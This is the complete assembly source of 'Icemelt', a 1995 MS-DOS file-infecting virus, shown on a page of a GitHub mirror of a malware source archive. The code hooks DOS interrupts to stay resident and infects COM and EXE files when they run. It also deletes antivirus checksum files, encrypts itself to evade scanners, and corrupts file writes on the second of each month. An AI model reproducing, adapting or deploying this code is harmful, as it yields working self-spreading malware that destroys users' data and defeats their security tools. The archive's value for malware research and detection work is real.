13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-27 09:28:25 +00:00
vxug-MalwareSourceCode/MSDOS/I-Index/Virus.MSDOS.Unknown.icemelt.asm
vxunderground 4b9382ddbc re-organize
push
2022-08-21 04:07:57 -05:00

410 lines
12 KiB
NASM

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä
; Icemelt - (c)1995 ûirogen - Using ûiCE v0.2á
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä
;
; þ Infects COM and EXE when executed.
; þ COM Infection marker: fourth byte is 0
; þ EXE infection marker: Checksum in header not equal to 0.
; þ Time/Date do not change
; þ Read-only and hidden files will be infected, and attributes restored.
; þ Virus installs its own critical error handler
; þ Deletes MSAV and CPAV Checksum filez.
; þ Activates on the second of any month, at which time it will phuck
; up all file writes using INT 21h/func 40h.
; þ Does not use ViCE anti-tbscan. Has a second cryptor to thwart many
; TBSCAN flags. Does not use ViCE Garbage.
;
cseg segment
assume cs:cseg, ds:cseg, es:cseg, ss:cseg
signal equ 0FA01h ; AX=signal/INT 21h/installation chk
vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API
special equ 11h
act_day equ 2
buf_size equ 170
vice_size equ 1602+buf_size
virus_size equ (offset vend-offset start)+VICE_SIZE
extrn _vice:near
org 0h
start:
push ds es
inc si
mov ax,1000h ; looks like legit. INT call..
add ax,signal-1000h ; are we memory resident?
mov dx,vsafe_word
mov bl,special
int 21h
call nx ; get relative offset
nx: pop bp
sub bp,offset nx
or si,si
jz no_install ; if carry then we are
call crypt ; decrypt the next few bytez
c_start:
mov cs:activate[bp],0
mov ah,2ah ; get date
int 21h
cmp dl,act_day ;
jnz no_act
mov cs:activate[bp],1
no_act:
mov ax,ds ; PSP segment
dec ax ; mcb below PSP m0n
mov ds,ax ; DS=MCB seg
cmp byte ptr ds: [0],'Z' ; Is this the last MCB in chain?
jnz no_install
sub word ptr ds: [3],((virus_size+1023)/1024)*64*2 ; alloc MCB
sub word ptr ds: [12h],((virus_size+1023)/1024)*64*2 ; alloc PSP
mov es,word ptr ds: [12h] ; get high mem seg
push cs
pop ds
mov si,bp
mov cx,virus_size/2+1
xor di,di
rep movsw ; copy code to new seg
xor ax,ax
mov ds,ax ; null ds
push ds
lds ax,ds: [21h*4] ; get 21h vector
mov es: word ptr old21+2,ds ; save S:O
mov es: word ptr old21,ax
pop ds
mov ds: [21h*4+2],es ; new int 21h seg
mov ds: [21h*4],offset new21 ; new offset
sub byte ptr ds: [413h],((virus_size+1023)*2)/1024;-totalmem
c_end:
no_install:
pop es ds ; restore ES DS
cmp cs:is_exe[bp],1
jz exe_return
lea si,org_bytes[bp] ; com return
mov di,0100h ; -restore first 4 bytes
mov cx,2
rep movsw
mov ax,100h ; jump back to 100h
push ax
_ret:ret
exe_return:
mov cx,ds ; calc. real CS
add cx,10h
add word ptr cs:[exe_jump+2+bp],cx
int 3 ; fix prefetch
db 0eah
exe_jump dd 0
is_exe db 0
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Crypts portion of virus
;
crypt_res:
xor bp,bp
crypt:
lea si,c_start
add si,bp
mov cx,(offset c_end-offset c_start)
add byte ptr cs:xor_op[bp],10h ; self modifying code...
int 3 ; fix prefetch
l1:
db 2Eh
xor_op db 70h,34h ; tbscan won't flag this bitch
xor_val db 0
inc si
loop l1
sub byte ptr cs:xor_op[bp],10h ; unmodify code
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Infection routine - called from INT 21h handler.
; DS:DX=fname
;
infect_file:
push dx
pop si
push ds
xor ax,ax ; null ES
mov es,ax
lds ax,es:[24h*4] ; get INT 24h vector
mov cs:old_24_off,ax ; save it
mov cs:old_24_seg,ds
mov es:[24h*4+2],cs ; install our handler
mov es:[24h*4],offset new_24
pop ds
push es ; we'll need it later
push cs
pop es
mov ax,4300h ; get phile attribute
int 21h
mov ax,4301h ; null attribs
push ax cx ; save AX-call/CX-attrib
xor cx,cx
int 21h
mov ax,3d02h ; open the file
int 21h
jc dont_do
mov bx,ax ; get handle
push cs
pop ds
call kill_chklst
mov ah,3fh ; Read first bytes of file
mov cx,20h
lea dx,org_bytes
int 21h
cmp byte ptr org_bytes,'M' ; single byte avoids heuristic flag
jz do_exe
cmp byte ptr org_bytes+3,0
jz close
mov is_exe,0
mov ax,5700h ; get time/date
int 21h
push cx dx
call offset_end
push ax ; AX=end of file
lea si,start ; DS:SI=start of code to encrypt
mov di,virus_size ; ES:DI=address for decryptor/
push di ; encrypted code. (at heap)
mov cx,virus_size ; CX=virus size
mov dx,ax ; DX=EOF offset
add dx,100h ; DX=offset decryptor will run from
mov al,00000001b ; no garbage, no CS:
call _vice ; call engine!
pop dx
mov ah,40h
int 21h
call offset_zero
pop ax ; restore COM file size
sub ax,3 ; calculate jmp offset
mov word ptr new_jmp+1,ax
lea dx,new_jmp
mov cx,4
mov ah,40h
int 21h
pop dx cx ; pop date/time
mov ax,5701h ; restore the mother fuckers
int 21h
close:
pop cx ax ; restore attrib
int 21h
mov ah,3eh
int 21h
dont_do:
pop es ; ES=0
lds ax,dword ptr old_24_off ; restore shitty DOS error handler
mov es:[24h*4],ax
mov es:[24h*4+2],ds
ret
do_exe:
cmp word ptr exe_header[12h],0 ; is checksum (in hdr) 0?
jnz close
cmp byte ptr exe_header[18h],52h ; pklite'd?
jz exe_ok
cmp byte ptr exe_header[18h],40h ; don't infect new format exe
jge close
exe_ok:
push bx
mov ah,2ch ; grab a random number
int 21h
mov word ptr exe_header[12h],dx ; mark that it's us
mov is_exe,1
les ax,dword ptr exe_header+14h ; Save old entry point
mov word ptr ds:exe_jump, ax
mov word ptr ds:exe_jump+2, es
push cs
pop es
call offset_end
push dx ax ; save file size DX:AX
mov bx, word ptr exe_header+8h ; calc. new entry point
mov cl,4 ; *16
shl bx,cl ; ^by shifting one byte
sub ax,bx ; get actual file size-header
sbb dx,0
mov cx,10h ; divide AX/CX rDX
div cx
mov word ptr exe_header+14h,dx
mov word ptr exe_header+16h,ax
mov rel_off,dx
pop ax ; AX:DX file size
pop dx
pop bx
mov cx,virus_size+10h ; calc. new size
adc ax,cx
mov cl,9 ; calc new alloc (512)
push ax
shr ax,cl
ror dx,cl
stc
adc dx,ax
pop ax ; ax=size+virus
and ah,1
mov word ptr exe_header+4h,dx
mov word ptr exe_header+2h,ax
lea si,start ; DS:SI=start of code to encrypt
mov di,virus_size ; ES:DI=address for decryptor and
push di ; encrypted code (at heap)
mov cx,virus_size ; CX=virus size
mov dx,rel_off ; DX=offset decryptor will run from
mov al,00000000b ; no garbage, use CS:
call _vice ; call engine!
pop dx
mov ah,40h
int 21h
call offset_zero
mov cx,18h ; write fiXed header
lea dx,exe_header
mov ah,40h
int 21h
jmp close
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; set file ptr
offset_zero: ; self explanitory
xor al,al
jmp set_fp
offset_end:
mov al,02h
set_fp:
mov ah,42h
xor cx,cx
xor dx,dx
int 21h
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Kill those darned MSAV and CPAV filez..
;
kill_chklst:
mov di,2 ; counter for loop
lea dx,first_2die ; first fname to kill
kill_loop:
mov ax,4301h ; reset attribs
xor cx,cx
int 21h
mov ah,41h ; delete phile
int 21h
lea dx,last_2die ; second fname to kill
dec di
jnz kill_loop
ret
first_2die db 'CHKLIST.MS',0 ; MSAV shitty checksum
last_2die db 'CHKLIST.CPS',0 ; CPAV shitty checksum
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; new 21h
new21:
pushf
cmp ax,signal ; be it us?
jnz not_us ; richtig..
cmp dx,vsafe_word
jnz not_us
cmp bl,special
jnz not_us
xor si,si
mov di,4559h
jmp jmp_org
not_us:
cmp cs:activate,0 ; time to activate?
jz nchk
cmp ah,40h ; write to phile?
jnz jmp_org
lea dx,credits ; phuck up address..
push cs
pop ds
nchk: cmp ax,4b00h ; execute phile?
jnz jmp_org
push ax bx cx di dx si ds es bp dx
mov ah,2ch ; grab random for cryptor
int 21h
mov byte ptr cs:xor_val,dl
pop dx
call crypt_res
call infect_file
call crypt_res
pop bp es ds si dx di cx bx ax
jmp_org:
popf
db 0eah ; jump far XXXX:XXXX
old21 dd 0
new_24: ; critical error handler
mov al,3 ; prompts suck, return fail
iret
activate db 0
txt_ptr dw offset credits
credits db '[IceMelt, by ûirogen]'
credit_end:
new_jmp db 0E9h,0,0,0 ; jmp XXXX,0
rel_off dw 0
exe_header:
org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr
heap:
db 16h dup(0) ; remaining exe header space
old_24_off dw 0 ; old int24h vector
old_24_seg dw 0
vend:
cseg ends
end start